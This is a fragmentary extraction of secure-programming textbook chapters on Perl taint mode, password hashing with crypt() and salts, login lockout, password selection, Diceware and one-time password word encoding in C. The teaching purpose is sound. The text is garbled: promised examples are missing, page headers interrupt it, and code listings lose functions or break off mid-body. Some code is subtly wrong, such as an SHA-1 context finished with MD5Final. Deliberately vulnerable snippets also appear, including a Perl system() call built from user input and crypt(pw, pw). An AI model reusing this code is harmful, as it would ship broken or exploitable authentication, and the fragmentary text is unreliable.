On executing this script, Perl enters taint mode because of the –T option
passed in the invocation line at the top. Perl then tries to compile the pro-
gram. Taint mode will notice that the programmer has not explicitly
initialized our PATH variable, yet tries to invoke a program using the shell,
which can be easily exploited. It issues an error such as the following before
aborting compilation:
We can modify the program to set the program’s path explicitly to some
safe value at start-up:
#!/usr/bin/perl -T
use strict;
$ENV{PATH} = join ':' => split (" ",<< '__EOPATH__');
/usr/bin
332 Chapter 12 Trust Management and Input Validation
/bin
__EOPATH__
my $username = <STDIN>;
chop $username;
system ("cat /usr/stats/$username");
Even if we were to copy $username into another variable, taint mode would
still catch the problem.
In the previous example, taint mode complains because the variable can
use shell magic to cause a command to run. Modifying the system call to use
a two-argument version placates taint mode:
All of the functions in our list can be used either to access the file system,
to interact with other processes, or to run arbitrary Perl code. When
given arguments that come directly from the user, the dangerous func-
tions have the potential to be misused (maliciously or accidentally) and
cause harm.
Taint mode also considers the use of backticks insecure. Similarly, it
disallows the –s option to Perl, which sets the values of variables if a
command-line switch of the same name is passed to the program. An
attacker can use that switch to overwrite important variables.
There are a number of common constructions that taint mode gets
wrong. Most notably, the open() function accepts a tainted filename for
read-only opens (when used with the $< qualifier). Poor validation in a CGI
script may give a remote user access to any file to which the HTTP daemon
has access.
334 Chapter 12 Trust Management and Input Validation
Additionally, taint mode does not complain when a script uses sysopen()
with user-supplied input. Even when taint mode is on, the following code
can constitute a significant vulnerability:
Also, when using the CGI.pm module, taint mode does not consider the
following construct insecure:
$foo =~ /(^.*$)/;
$foo = $1;
You should only use this technique when you’re sure that foo is harmless.
It is always a good idea to turn on taint mode in security-critical applica-
tions. See the Perl security manpage (perlsec) for more information on taint
mode. However, keep in mind that taint mode overlooks some details.
Conclusion
If this chapter teaches you one thing, it should teach you to dole out trust as
sparingly as possible. Take some advice from our favorite bumper sticker:
Assume Nothing. Don’t trust client code, user input, environment variables,
or explicit security modes unless you absolutely must.
Password Authentication
13
335
336 Chapter 13 Password Authentication
Password Storage
The first hurdle to overcome in any password system is the privacy problem.
Most people don’t want other people to be able to read (or use) their pass-
words. If your code stores someone’s password in plaintext, it can be read at
will. Even worse, if your security isn’t absolutely perfect, other people can
read the password too.
So how can we solve these problems? Some administrators say, “Trust
us. . . . we won’t read your password unless you need us to do so.” Of
course, there is no reason to believe that. In any case, even if the people
running the service are telling the truth, they may be forced to reveal your
password by a court of law. But let’s say that’s fine with you; you trust the
organization running the authenticating agent. The question then becomes
one of what they are doing to protect your password from attackers.
One solution is to encrypt your password. This solution is nontrivial
though. To encrypt and decrypt your password, a key is required. This
transforms the question from a password storage problem into a password
key storage (and use) problem. Of course, the authenticating software needs
the password key to be able to validate you when you log in. We don’t want
our authentication software to require human intervention if we can help it,
so the key probably needs to sit somewhere that our software can access it.
The problem is that if the software can access it, a successful attacker can
too. Our goal thus becomes finding a way to make the cryptographic key as
hard as possible to find. This is a form of “security through obscurity,”
which is a practice to avoid if at all possible. It turns out that hiding keys
isn’t a very easy problem anyway. (We discuss key hiding in Chapter 15.)
Fortunately, there is a better way. In fact, that better way not only
removes the key storage problem, it also solves the password storage prob-
lem too. In a nutshell, the authenticating entity in our solution stores and
uses a cryptographic hash of the password.
Here’s what happens when a user types in the password. The password
gets sent to the authentication agent, which hashes it, and compares the hash
with its stored hash. If the two hashes are the same, authentication succeeds.
Password Storage 337
1. Actually, you can stick 128 different characters in a password programmatically. There
are only 95 printable characters. Usually, you can input some control characters from the
keyboard.
338 Chapter 13 Password Authentication
weeks at worst. When crypt() was designed, this kind of an attack (called a
dictionary attack) was foreseen. People didn’t expect that ever making a
complete, usable dictionary would be possible, even though these days it is.
What they expected was that particular passwords would be very common
(for example, dictionary words, proper nouns, and the like). To prevent a
common database of passwords from being created, a step was added to
the crypt() process. The string of zeros isn’t directly encrypted using your
password as a key. What happens is that a 2-byte “salt” is chosen. A salt is
basically some random, but completely public, data. Anybody can see what
the salt is. The salt is concatenated to the password to create a key. In this
way, when the same password gets put through crypt multiple times, it
always encrypts to a different string (assuming you always get a different
salt). In the case of crypt(), the salt is also used to modify DES, so that
standard DES crackers can’t be used.
There are only 64 unique characters that can be used in the seed for
the salt, and the seed can only be 2 bytes. Therefore, there are only 4,096
different seeds. This makes a comprehensive dictionary attack approxi-
mately 4,000 times harder (and approximately 4,000 times more space
intensive). Under the salt approach, the space of possible keys (the key
space) goes up from approximately 253 to 266. When crypt() was originally
written, that was a huge key space. These days, it isn’t so big, especially
given that the seed should be considered compromised. The seed is generally
saved with the ciphertext because it is commonly assumed that an attacker is
somehow able to get that text anyway. Unless the password database is
made unreadable to all except those with special privileges, getting to the
text is usually do-able.
It is important to try to protect the ciphertext. Once someone has it, he
or she can try all 253 passwords, and will eventually find the password that
encrypts to the given text. Many people believe that the government has the
computational resources to perform such a crack in a matter of minutes, or
perhaps even seconds. A brute-force attack is definitely within the reach of
an organization with reasonable resources. Storing a full dictionary for
every possible password with every possible salt would take a few million
terabytes of disk space, which is currently possible, but only at an extraordi-
nary cost. In a few years, it’s likely to be a more practical approach. Without
a precomputed dictionary, it’s not too hard to get machines that can try on
the order of 218 different passwords per second. A sizable effort distributed
across 8,000 or so machines of this quality would be able to crack absolutely
any password in no more than 48 days. Of course, most passwords fall in a
Adding Users to a Password Database 339
small set of a few million, making them much, much easier to crack. Note
that these numbers pertain to precomputing every password and its crypted
value, given a single salt, so it would actually take a massive amount of
computing power to build a precomputed dictionary with all salts—some-
where in the scope of a decade.
We discuss desirable sizes for key spaces in Appendix A. Our preference
lies with a key space of 128 bits or better. With passwords, this level of secu-
rity would be nice. The problem is that the more bits of security you want,
the longer passwords have to be. And people want shorter passwords, not
longer ones. You would need to have a 20-character password, each character
randomly chosen, to get 128 bits of security. That is way too many char-
acters for most people. Plus, those characters each need to be completely
random. Most people unfortunately tend to pick poor passwords, so that
an attacker only has to search a small fraction of the space before finding
a password.
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <pwd.h>
#include <sys/types.h>
FILE *pw_file;
void open_password_file() {
pw_file = fopen(PW_FILE, "r+");
if(!pw_file) {
fprintf(stderr, "Could not open %s for reading and
writing.\n", PW_FILE);
fprintf(stderr, "You must run 'touch %s' before this program "
"will work.\n", PW_FILE);
fprintf(stderr, "Also, make sure the current user has write "
"permissions to the file.\n");
exit(1);
}
}
if(!buf) {
fprintf(stderr, "Out of memory, exiting.\n");
exit(1);
}
if(!res) {
fprintf(stderr, "Error in reading input, exiting.\n");
exit(1);
}
n += strlen(res);
}
/* Replace the newline with a null */
buf[n-1] = 0;
return buf;
}
/* Returns 0 if valid. */
int valid_user_name(char *name) {
int i;
struct passwd *pwent;
fseek(pw_file, 0, SEEK_SET);
pwent = fgetpwent(pw_file);
while(pwent) {
if(!strcmp(name, pwent->pw_name))
return UNAME_EXISTS;
pwent = fgetpwent(pw_file);
}
return 0;
}
char *get_new_user_name() {
char *uname;
int err;
uname = read_line(NEW_USER_PROMPT);
while(err = valid_user_name(uname)) {
switch(err) {
case UNAME_INVALID:
fprintf(stdout,
"Invalid user name. Use letters, numbers and "
"underscore only.\n");
break;
case UNAME_EXISTS:
342 Chapter 13 Password Authentication
char *get_new_crypted_password() {
char *pw1, *pw2, *crypted_pw;
while(1) {
pw1 = read_line("Enter password: ");
pw2 = read_line("Reenter to confirm: ");
if(strcmp(pw1, pw2)) {
fprintf(stdout, "Passwords were not the same!\nTry"
"again.\n");
free(pw1);
free(pw2);
continue;
}
break;
}
crypted_pw = crypt(pw1, pw1);
free(pw1);
free(pw2);
return crypted_pw;
}
putpwent(&pw, pw_file);
}
Adding Users to a Password Database 343
int main() {
char *username;
char *password;
open_password_file();
username = get_new_user_name();
password = get_new_crypted_password();
add_entry_to_database(username, password);
fprintf(stdout, "Added user %s...\n", username);
}
Now that we have something to talk about, we can turn to the question
of what’s wrong with the previous code. The answer? Plenty. The most obvi-
ous thing is that when we run the program, the password gets echoed to the
screen. We can fix that by adding an echo parameter to the read_line func-
tion, and then use the ioctl system call to cause the terminal attached to
stdin to refrain from echoing if the parameter is set to zero. (We should
also check to make sure there is a terminal connected to stdin. If input to
the program is piped in, there won’t be.)
A second problem is that we’re misusing the crypt library. It’s fairly com-
mon to see crypt(pw, pw) in code. Unfortunately, this is very bad practice.
The problem is that the seed is the first two characters of the password. The
seed must be stored in the clear. Therefore, anyone who can see the password
database only has to guess six characters instead of eight. Crack programs will
find a break much more quickly. Plus, we’ve given up all the benefits of having
a seed. All users who have the password “blah” will have the same encrypted
password: blk1x.w.IslDw. A stored dictionary attack is a very feasible attack
on most passwords in this case (storing several million of the most likely pass-
words only takes up a few dozen gigabytes of disk space). We really need to be
selecting a random seed. Because the seed is public, it doesn’t actually matter
much if we use “secure” random number generation to pick a seed. PRNGs
seeded on the clock are okay for this purpose. The risk is that an attacker can
have some influence on the random number, causing the seed selected to be
more likely to be one for which the attacker has done extensive precompu-
tation. In practice, this attack is far more theoretical than practical, because
most crack programs are highly effective without ever needing to precompute
anything. Still, we may as well play things safe and get our numbers from a
reasonable random number source. For our example, let’s use the Linux-based
random number library we developed in Chapter 10, but compromise by
using “strong” random numbers that may not be 100% secure.
344 Chapter 13 Password Authentication
The third problem with the previous code is that we should be more
paranoid about leaving around plaintext passwords for any longer than
necessary, even in memory we control. Sometimes attackers will have access
to a program’s memory as it runs, or may be able to force a core dump that
can later be examined to reclaim the password. We should try to minimize
these windows of vulnerability by minimizing the amount of time in which
the password is stored in an unencrypted format. As soon as we read in the
password, we should encrypt it, then “zero out” the memory containing the
password. Even when we compare to make sure that two passwords are
equal, to confirm that the user typed in the right password, we should com-
pare them based on the resulting ciphertext, not based on the plaintext.
Also, we should make sure that the user’s password never gets saved to
disk, even if the program swaps out. We can accomplish this easily with the
mlock() system call, which makes sure a memory range stays locked in RAM.
It takes two parameters: a pointer to a memory address and the number of
bytes to lock. To undo the effects when the password has been erased from
memory, use munlock(), passing the exact same arguments. Unfortunately,
mlock() and munlock() can only be run by root. The risk of passwords being
swapped out and read from there is probably minimal compared with setuid
problems, if you’re careful about erasing passwords immediately after use.
A fifth problem is accessibility of the database. The user running this
program must be able to read and write the database. This is not really a
great idea in most cases. We’d even like to prevent anyone other than the
program from reading the database if possible. If logins are coming in over
the network, instead of on the local machine, it’s less likely that people will
be able to read and modify the database. But if there’s an exploitable stack
overflow, or some other problem that the attacker can leverage to run code,
then mucking with the database is certainly not impossible! In the UNIX
world, the answer to this problem is to use setuid programming. Setuid
programming comes with its own set of risks, and is a complicated topic.
For now, we’ll leave our code broken in this respect.
Based on our newfound insight, here’s a mostly fixed version of the
example program (note that we don’t use mlock and munlock):
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <pwd.h>
#include <sys/types.h>
Adding Users to a Password Database 345
#include <sys/ioctl.h>
#include "secure_rand.h"
FILE *pw_file;
void open_password_file() {
pw_file = fopen(PW_FILE, "r+");
if(!pw_file) {
fprintf(stderr, "Could not open %s for reading and
writing.\n", PW_FILE);
fprintf(stderr, "You must run 'touch %s' before this "
"program will work.\n", PW_FILE);
fprintf(stderr, "Also, make sure the current user has write "
"permissions to the file.\n");
exit(1);
}
}
346 Chapter 13 Password Authentication
if(!buf) {
fprintf(stderr, "Out of memory, exiting.\n");
exit(1);
}
/* Print out the prompt. Must fflush to make sure it gets seen.
*/
fprintf(stdout, "%s", prompt);
fflush(stdout);
/* Returns 0 if valid. */
int valid_user_name(char *name) {
int i;
struct passwd *pwent;
fseek(pw_file, 0, SEEK_SET);
pwent = fgetpwent(pw_file);
while(pwent) {
if(!strcmp(name, pwent->pw_name))
return UNAME_EXISTS;
pwent = fgetpwent(pw_file);
}
return 0;
}
348 Chapter 13 Password Authentication
char *get_new_user_name() {
char *uname;
int err;
uname = read_line(NEW_USER_PROMPT, 1);
while(err = valid_user_name(uname)) {
switch(err) {
case UNAME_INVALID:
fprintf(stdout, "Invalid user name. Use letters, numbers
"and underscore only.\n");
break;
case UNAME_EXISTS:
fprintf(stdout, "Username already exists.\n");
break;
default:
fprintf(stdout, "Unknown error.\n");
break;
}
free(uname);
uname = read_line(NEW_USER_PROMPT, 1);
}
return uname;
}
char *get_new_crypted_password() {
char *pw1, *pw2, *crypted_pw1, *crypted_pw2, *salt;
salt = get_random_salt();
while(1) {
pw1 = read_line("Enter password: ", 0);
crypted_pw1 = crypt(pw1, salt);
while(*pw1) *pw1++ = 0;
free(pw1);
pw2 = read_line("Reenter to confirm: ", 0);
crypted_pw2 = crypt(pw2, salt);
while(*pw2) *pw2++ = 0;
free(pw2);
if(strcmp(crypted_pw1, crypted_pw2)) {
fprintf(stdout, "Passwords were not the same!\nTry"
"again.\n");
continue;
}
break;
}
Adding Users to a Password Database 349
free(crypted_pw2);
free(salt);
return crypted_pw1;
}
putpwent(&pw, pw_file);
}
int main() {
char *username;
char *password;
open_password_file();
username = get_new_user_name();
password = get_new_crypted_password();
add_entry_to_database(username, password);
fprintf(stdout, "Added user %s...\n", username);
}
sha1_crypt.h
#include <openssl/evp.h>
#define DIGEST_LEN_BYTES 16
sha1_crypt.c:
#include "sha1_crypt.h"
#include "base64.h"
350 Chapter 13 Password Authentication
if(!strlen(salt)) abort();
EVP_DigestInit(&context, EVP_sha1());
EVP_DigestUpdate(&context, salt, strlen(salt));
EVP_DigestUpdate(&context, pw, strlen(pw));
MD5Final(&context, digest, &digest_len);
enc_dgst = base64_encode(digest, DIGEST_LEN_BYTES);
result = (char *)malloc(strlen(enc_dgst)+strlen(salt)+1);
strcpy(result,enc_dgst);
strcat(result,salt);
free(enc_dgst);
return result;
}
Password Authentication
Authenticating a user based on a password seems simple:
1. Read the username.
2. Figure out the salt used to encrypt the original password.
3. Read the password, turning off echo on the input.
Password Authentication 351
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <pwd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
FILE *pw_file;
void open_password_file() {
pw_file = fopen(PW_FILE, "r");
if(!pw_file) {
fprintf(stderr, "Could not open %s for reading.\n",
PW_FILE);
exit(1);
}
}
if(!buf) {
fprintf(stderr, "Out of memory, exiting.\n");
exit(1);
}
/* Print out the prompt. Must fflush to make sure it gets seen.
*/
fprintf(stdout, "%s", prompt);
fflush(stdout);
352 Chapter 13 Password Authentication
}
return buf;
}
found = 0;
uname = ReadLine(USER_PROMPT, 1);
fseek(pw_file, 0, SEEK_SET);
pwent = fgetpwent(pw_file);
while(pwent) {
if(!strcmp(uname, pwent->pw_name)) {
found = 1;
break;
}
pwent = fgetpwent(pw_file);
}
if(!found) {
*stored_pw = 0;
return uname;
}
else {
char *pw = (char *)malloc(sizeof(char)*strlen(pwent->
pw_passwd));
strcpy(pw, pwent->pw_passwd);
*stored_pw = pw;
return uname;
}
}
salt = input;
while(*salt) *salt++ = 0;
return input;
}
c = crypt(input, salt);
crypted_pw = (char *)malloc(strlen(c)*sizeof(char));
strcpy(crypted_pw, c);
while(*input) *input++ = 0;
return crypted_pw;
}
do {
username = GetUserName(&stored_pw);
password = GetPassword(stored_pw);
return 0;
}
int main() {
if(login()) {
fprintf(stderr, "Authentication successful.\n");
}
else {
fprintf(stderr, "Authentication failed.\n");
}
}
Password Authentication 355
We’ve been careful not to fall into any of the traps we fell into when writing
the original broken password-storing program. Nonetheless, there is a new
problem with the previous code—no security-conscious action is taken when
a user tries to log in to an account but fails.
Sure, the program stops after three bad login attempts. But so what?
People can just run the program over and over again. As a result, attackers
have unlimited time to try to guess the password of accounts into which
they wish to break. It is almost as bad as if they had a copy of the hashed
password. What we have created is not a password system, it’s only a delay
mechanism.
One thing we can do is to lock the account after some fairly small num-
ber of bad login attempts (say five). Users should then be forced to interact
with an administrator or customer support to get their account unlocked.
A complication with this scheme is that it is difficult to authenticate a user
when they go to get the locked account unlocked. How does one know it is
not an attacker who happens to know a target’s social security number, and
so forth?
The best way is to have the person provide their actual password. The
problem is obvious: How do you distinguish people who genuinely can’t
remember their passwords from attackers pulling a social engineering attack?
An attacker will surely say, “I can’t remember my password!” over the
phone, once the lockout number has been exceeded. One mitigation measure
is to record when login failures occur. Automated attacks can cause many
failed attempts within a single second or two. Another thing to do is to set
the number of attempts before locking the account at approximately 50. If
the user has actually forgotten the password, the user is unlikely to try 50
different passwords. A much more likely approach is to try to call customer
support. Therefore, if the threshold of 50 is reached, then an attack is fairly
likely, and you should expect the customer to be able to provide an actual
password.
Obviously, a bad login counter needs to be reset every time a valid login
occurs. This introduces the risk that an attacker gets to try 49 passwords
every time the valid user logs in (then counts on the user to provide 49 more
magic guesses). With a well-chosen password, this would not be too much
of a problem. However, considering that users tend not to choose good
passwords, what can be done? We recommend keeping track of bad login
attempts over the long term. Every time a global counter gets above 200,
make the user change the password in question. All counter information
can be stored in the unused fields of the password file.
356 Chapter 13 Password Authentication
The problem with this technique is that an attacker can launch a delib-
erate denial-of-service attack by guessing the password incorrectly, thus
locking out a legitimate user. If this becomes a problem, there are many
possible solutions, such as a two-password login, the first of which does
not have a lockout.
Password Selection
Everything we’ve said so far assumes that when a person selects a pass-
word, all possible passwords are equally likely. We all know this is not the
case. People pick things that are easy to remember. This fact can narrow
down the effectiveness of passwords tremendously. There are several
programs, such as Crack (see this book’s companion Web site for links),
that help an attacker try to guess passwords intelligently. Of course, we also
have images from movies of “hackers” sitting down, and trying to guess
someone’s password. They always seem to be able to do it fairly quickly.
In reality, such a person would use Crack, or a similar program, instead of
trying to guess from scratch. However, guessing can also be remarkably
effective when you know the person whose password you are trying to
guess. It is unfortunately common to be able to guess other people’s pass-
words in just a couple of tries!
Many software systems force the user to provide a password that meets
basic quality standards. After a user types in a password, the software checks
the quality of the password, and if there is a problem with it, then the user
is told and must choose another password.
Optionally, the software can give the user recommendations for
choosing good passwords. This is an okay idea, but it often backfires if
the suggested process isn’t absolutely excellent, because if you give people a
simple pattern to use, they are likely to follow it too closely. Consequently,
people will pick passwords that appear to be well chosen, but are not. For
example, we have seen programs give advice similar to the following:
Take two words that are easy for you to remember, and combine them,
sticking punctuation in the middle. For example, good!advice.
some text that is easy to remember, such as mom’s initials. For example,
033156!glm.
Take a sentence that you can easily remember, such as a famous quotation
or a song lyric. Use the first letter of each word, preserving case, and use
any punctuation. For example, you may choose the quote “My name is
Ozymandius, king of kings!” and use the password MniO,kok!
This advice can be easily followed, and is a lot harder to attack than
the preceding two pieces of advice. Of course, some people will get lazy
and steal your quote. You need to make sure to reject passwords that are
obvious from the advice. People who know the source of the quote may be
led to quotes that an attacker may guess if the attacker knows your advice.
For example, you may choose another quote from the same poem, or by the
same author. Or, you may choose another quote from poetry that is at least
as famous, such as “Two roads diverged in a wood.” Attackers can make a
list of probable candidates. For example, they may take the quotes from the
top of each of our chapters. They are also likely to take the entire contents
of Bartlett’s quotations and generate the matching password for each quote,
adding those passwords to their dictionary of passwords to try. They may
also take, say, 20 reasonable modifications of the algorithm and generate
those passwords too.
You are much less likely to suggest a poor password accidentally by not
trying to tell the user what process to go through when choosing a good
password. Instead, just tell the user why you don’t like his first choice. For
example,
The biggest problem here is that naïve users will not necessarily figure out
how to pick better passwords. We have seen smart people (yet naïve users)
sit there for 10 minutes trying to figure out a password the system will
accept, eventually giving up in frustration.
A reasonable strategy is to combine these two techniques. First, let the
user try a few passwords. If you do not accept one, say why. After a few fail-
ures, give a piece of advice. Just be careful about the advice you hand out.
You may want to choose from a set of advice, and provide one or two pieces
at random.
More Advice
Sometimes it is actually better to give generic advice, without password
examples. Here are some pieces of advice you may wish to give:
■ Passwords should be at least eight characters long.
■ Don’t be afraid of using a really long password.
■ Avoid passwords that are in any way similar to other passwords you
have.
■ Avoid using words that may be found in a dictionary, names book, on
a map, and so forth.
■ Consider incorporating numbers and /or punctuation into your
password.
■ If you do use common words, consider replacing letters in that word
with numbers and punctuation. However, do not use “similar-looking”
punctuation. For example, it is not a good idea to change cat to c@t,
ca+, (@+, or anything similar.
Throwing Dice
Password selection enforcement is a tradeoff between security and usability.
The most usable system is one that never rejects a proposed password, even
if it is incredibly easy to guess.2 There is a great way for people to generate
good passwords, but it turns out to be difficult to use. This technique
requires three dice. To generate a single letter of a password, roll the dice,
and then read them left to right, looking them up in Table 13–1. To avoid
ambiguities as to which die is the farthest left, it can help to roll the dice into
a box, then tilt the box until all dice are beside each other.
2. Actually, Microsoft’s notorious “Bob” was the most usable, and least secure. After three
incorrect guesses, Bob would allow you to change your password.
Password Selection 359
For example, let’s say we begin throwing dice, and roll a 4, a 6, and
a 1. For our first character, we would use #. If the roll does not show up in
Table 13–1 then we have to roll again. This should happen a bit more than
once every ten throws, on average. On the off chance your password looks
anything like a real word, start over again.
This technique provides for a completely random distribution of pass-
words of a given length. At the very least, a user should roll 8 times (less
than 53 bits of security). We recommend at least 10 letters (approximately
64 bits). Twenty rolls should provide adequate security for any use (approxi-
mately 128 bits).
362 Chapter 13 Password Authentication
The problem with this technique is that it is difficult for the user, who
not only must roll tons of dice, but must somehow keep track of the result-
ing password.
By the way, some people recommend never writing down any password,
just memorizing it. The argument goes that if you have written down a pass-
word, then someone may find it and read it. This is certainly true. However,
if you do not write it down, then you have to choose something that is easy
to remember. If a password is easy to remember, it will probably be easy for
programs like Crack to break it. We would much rather see people choose
quality passwords and write them down, because we think they are less
likely to be compromised this way. There is nothing wrong with keeping a
sheet of passwords in your wallet, as long as you keep good control over
your wallet, and never leave that sheet lying around. There are definitely
people who disagree with us, however.
One way to store a bunch of account /password pairs without having to
worry about losing the paper is to use a password safe (such as PasswordSafe
from Counterpane Labs, http://www.counterpane.com, which is an electronic
program that encrypts your passwords on a disk). To get at a password, you
need only open the safe. Of course, the “combination” to the safe is itself a
password. The user has to be able to keep at least one password memorized,
but can off-load the burden of having to manage multiple passwords. Such
a tool is far better than using the same password on multiple accounts, for
example.
Note that no password in the safe can be effectively stronger than the
password that unlocks the safe (or the software implementing the safe),
because if you can break open the safe, you get all the passwords inside it
for free. Therefore, take special care to use good passwords with your safe.
Passphrases
Passphrases are just passwords. There isn’t any real difference, except
in the connotations invoked by the term. “Password” encourages users
to think short and sweet, whereas “passphrase” is meant to encourage the
user to type in a complete phrase. Except when there are arbitrary length
restrictions, there is nothing restricting a password from being a phrase.
Unfortunately, often there is nothing to keep a passphrase from being a
single word.
Using a phrase instead of a word is usually a good idea, because phrases
tend to be harder to break. However, phrases can be guessed too. Programs
like Crack could check everything in a quotation book, complete with
Password Selection 363
varying punctuation and capitalization. But if you take a pretty long phrase
from such a book and make three or four changes, such as word swaps,
letter swaps, adding punctuation, removing letters, and so forth, then you
probably have something that won’t be broken.
“Probably” is not a very strong word though. Plain old text taken from
a book is estimated to have about 5 bits of entropy per word. You do a lot
better if you choose a string of random words. If you have a dictionary of
8,192 words from which to choose, and you choose each one with equal
probability, then each word has 13 bits of entropy. If you chose 10 words
from this dictionary, you would not have to worry about your password
being brute forced.
Much like passwords, you can create high-quality passphrases by rolling
dice. The Diceware homepage (www.diceware.com) has a dictionary of
7,776 words, from which you can select randomly by rolling dice. Here is
how it works. You roll five dice at a time, and read them from left to right.
The values are read as a five-digit number; for example, 62142. That num-
ber is looked up in the Diceware word list, giving one word of a pass phrase.
Each word you select with Diceware gives approximately 12.9 bits of entropy;
however, you should expect that your pass phrase has less entropy if it hap-
pens to be a meaningful sentence, or if it is short enough to be brute forced.
(The Diceware homepage recommends a minimum pass phrase of 5 words,
and suggests that you throw out passphrases that are 13 characters or
shorter. This advice is reasonable.)
Application-Selected Passwords
Of course, it is not very reasonable to make your users do all the dice throw-
ing we have been recommending. You can, however, do the dice throwing
for them. The only caveat is that you need numbers that are completely
random. Using rand() to select a random character or a random word from
a list just won’t cut the mustard. The following is a function that generates a
totally random password. It uses the random library we developed in
Chapter 10:
.
char *get_random_password(int numchars) {
static char letters =
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"0123456789"
"~'!@#$%^&*()_-+={[}]|\\:;\"'<,>.?/";
364 Chapter 13 Password Authentication
char *s = malloc(numchars+1);
int i;
for(i=0;i<numchars;i++) {
s[i] = letters[secure_random_int(strlen(letters))];
}
return s;
}
exit(0);
}
buf[6] = '\0';
}
static char *base_get_passphrase(int numwords, int randchr) {
char *addon = "~'!@#$%^&*()_+-={[]}|\\'\";:,<.>?/0123456789";
char buf[7]; /* Words in the list are never more than 6 chars
*/
char *phrase = (char *)malloc(sizeof(char)*(6*numwords+2));
int i;
int rc_index;
if(randchr) {
rc_index = (int)secure_rand_int(numwords);
}
One-Time Passwords
One of the biggest problems with password schemes is that the password
tends to be really easy to compromise, even if the user happens to choose
something that is hard to guess. In many cases, people send their passwords
366 Chapter 13 Password Authentication
to other machines in the clear. Even when using passwords with “good” sys-
tems such as SSH, man-in-the-middle attacks are easy to launch and can be
used to intercept passwords.
One-time passwords solve this problem. The idea is that the user and
the server share some secret that is used to compute a series of single-use
passwords. There are plenty of strategies to do this, all relying on cryptog-
raphy. The user typically carries some physical token to help him or her
authenticate. Examples include a piece of paper with the next 100 passwords,
a small device that serves only to calculate passwords, or even a Palm Pilot.
Probably the most popular one-time password technology is SecurID, a
commercial solution available from RSA Security at http://www.rsasecurity.
com (shown in Figure 13–1). The form factor for the user is one of several
types of physical devices. The simplest merely provides an LCD (Liquid
Crystal Display) that shows the next password to use. Every 60 seconds,
the value on the LCD changes. SecurID calculates its one-time passwords
through a cryptographic mechanism that takes into account the current time
and the rightful owner of the physical token. When a user logs in to a system
(or enters a door protected with SecurID), he types in the password currently
being displayed. In most cases, the user also types in a PIN. This strategy is
great. It provides defense in depth, keeping casual thieves from getting far if
they steal the physical device.
Most other systems are based on challenge/response. The server pro-
vides a challenge and the user provides a response to that challenge. SafeWord,
from Secure Computing (http://www.securecomputing.com /), is a popular
commercial technology in this category.
Free solutions do not abound. The only free solutions widely used are
ancient. All such solutions are based on S/Key, the original one-time
password technology. The passwords were written in a day when people
with access to the server were always trusted, and have not been updated for
modern security requirements. S/Key vulnerabilities have been uncovered
during the past few years, and more are believed to exist.
An additional problem with S/Key-based systems is that they were
generally applied only to technologies that were fundamentally flawed
anyway. For example, there are several implementations of one-time
passwords for TELNET. Although it is true that there is no harm in send-
ing a one-time password over the network unencrypted, it doesn’t provide
much of a hurdle for attackers. An attacker can just wait for a TELNET
session to establish, and then hijack it (tools like dsniff can help automate
this attack).
One-Time Passwords 367
unite redly holds text shave rein sled odor demo wetly bred
The challenges are simply numbers. The one-time passwords are strings
of words that encode 64 bits of information. For example, the valid response
to the challenge of 100 using the previous key is as follows:
3. We don’t use the modified Diceware word list because the thirteenth bit of information
encoded is an odd-man out. It won’t save us any space, and makes encoding and decoding a
bit more complex.
One-Time Passwords 369
wordencode.h:
#ifndef WORDENCODE_H__
#define WORDENCODE_H__
#endif
wordencode.c:
#include <string.h>
#include <stdlib.h>
#include "wordencode.h"
char words[4096][6] = {
"abbe", "abed", "abet", "able", "ably", "abut", "ace",
"aces", "ache", "acid", "acme", "acne", "acre", "act",
"add", "adds", "ado", "ads", "afar", "aft",
"agar", "age", "aged", "ager",
...
while(1) {
cur = (max + min) / 2;
sc = strcasecmp(word, words[cur]);
if(!sc) return cur;
if(max == min) {
return –1;
}
if(sc < 0) {
max = cur – 1;
} else {
min = cur + 1;
}
}
}
char pad = 0;
char *p = str;
char *s;
One-Time Passwords 371
int x;
unsigned char *out;
int bits1, bits2;
unsigned int sl;
char wrd[6];
size_t loops;
*err = 0;
/* Count spaces, but only those that actually follow words. */
while((p = strchr(p, ' '))){ while(*p++==' '); spc++;}
sl = strlen(str);
if(str[sl-1] == '=') {
if(str[sl-2] == '=') {
pad = 2;
}
else {
pad = 1;
}
}
*len = ((spc+1)/2)*3;
if((spc)%2 && pad) {
*len = *len - 1;
}
else if(pad) {
*len = *len + 1;
}
out = (unsigned char *)malloc(*len);
p = out;
loops = (spc+1)/2;
for(i=0;i<loops*2;i+=2) {
/* Isolate the next word.*/
s = str;
while(*(++s)) {
if(*s == ' ') break;
if(*s == '=') break;
}
if(((unsigned int)s)-((unsigned int)str)>5) {
*err = 1;
free(out);
return NULL;
}
x = 0;
while(str!=s) {
wrd[x++] = *str++;
372 Chapter 13 Password Authentication
}
wrd[x] = 0;
str++;
/* Got it. */
bits1 = search(wrd);
if(bits1 == –1) {
*err = 1;
free(out);
return NULL;
}
bits2 = search(wrd);
if(bits2 == –1) {
*err = 1;
free(out);
return NULL;
}
case 0:
case 1:
return out;
case 2:
/* Isolate the next word.*/
s = str;
while(*(++s)) {
if(*s == ' ') break;
if(*s == '=') break;
}
if(((unsigned int)s)-((unsigned int)str)>5) {
*err = 1;
free(out);
return NULL;
}
x = 0;
while(str!=s) {
wrd[x++] = *str++;
}
wrd[x] = 0;
str++;
/* Got it. */
bits1 = search(wrd);
if(bits1 == –1) {
*err = 1;
free(out);
return NULL;
}
*p++ = bits1 >> 4;
return out;
}
return NULL;
}
out[0] = 0;
mod = length % 3;
for(i=0;i<length-mod;i+=3) {
s1 = (((unsigned int)data[i])<<4) | (data[i+1]>>4);
s2 = ((((unsigned int)data[i+1])&0xf)<<8) | data[i+2];
strcat(out, words[s1]);
strcat(out, " ");
strcat(out, words[s2]);
strcat(out, " ");
}
switch(mod) {
case 0:
/* Get rid of that last space. */
out[strlen(out)-1] = 0;
return out;
case 1:
strcat(out, words[((unsigned int)data[i])<<4]);
strcat(out, "==");
return out;
default:
s1 = (((unsigned int)data[i])<<4) | (data[i+1]>>4);
strcat(out, words[s1]);
strcat(out, " ");
strcat(out, words[(((unsigned int)data[i+1])&0xf)<<8]);
strcat(out, "=");
return out;
}
}
otp-common.h:
#ifndef OTP_COMMON_H__
#define OTP_COMMON_H__
#include <stdlib.h>
#include <string.h>
#include "wordencode.h"
One-Time Passwords 375
#endif
otp-common.c:
